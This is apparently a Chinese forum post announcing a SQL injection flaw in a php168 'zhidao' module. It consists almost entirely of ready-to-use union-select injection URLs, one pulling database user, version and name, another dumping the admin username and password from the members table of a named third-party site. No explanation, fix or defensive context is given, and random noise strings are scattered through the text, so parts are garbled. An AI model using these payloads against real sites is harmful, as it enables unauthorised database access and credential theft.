php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
  {# F! r4 Z2 F# b* z                                       

http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
; Y1 M8 y  _9 R  ~) w% m' g6 N                                                     
) y" J& ?- G2 H, c4 k                                                                  
                                                        
" ~6 ^, @& a, N; S  v6 Ahttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
1 D" M( |1 i* ]6 b8 j. z

% d: C! L& P* `  R8 z% d' S. p
$ u4 h+ i8 b4 E' y0 j                                                            
& D0 h7 s& i* [$ t
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
! ?' T4 |4 z7 ], R$ ^* P1 L


* e6 Y- ]) v  u. L1 p8 G4 J  g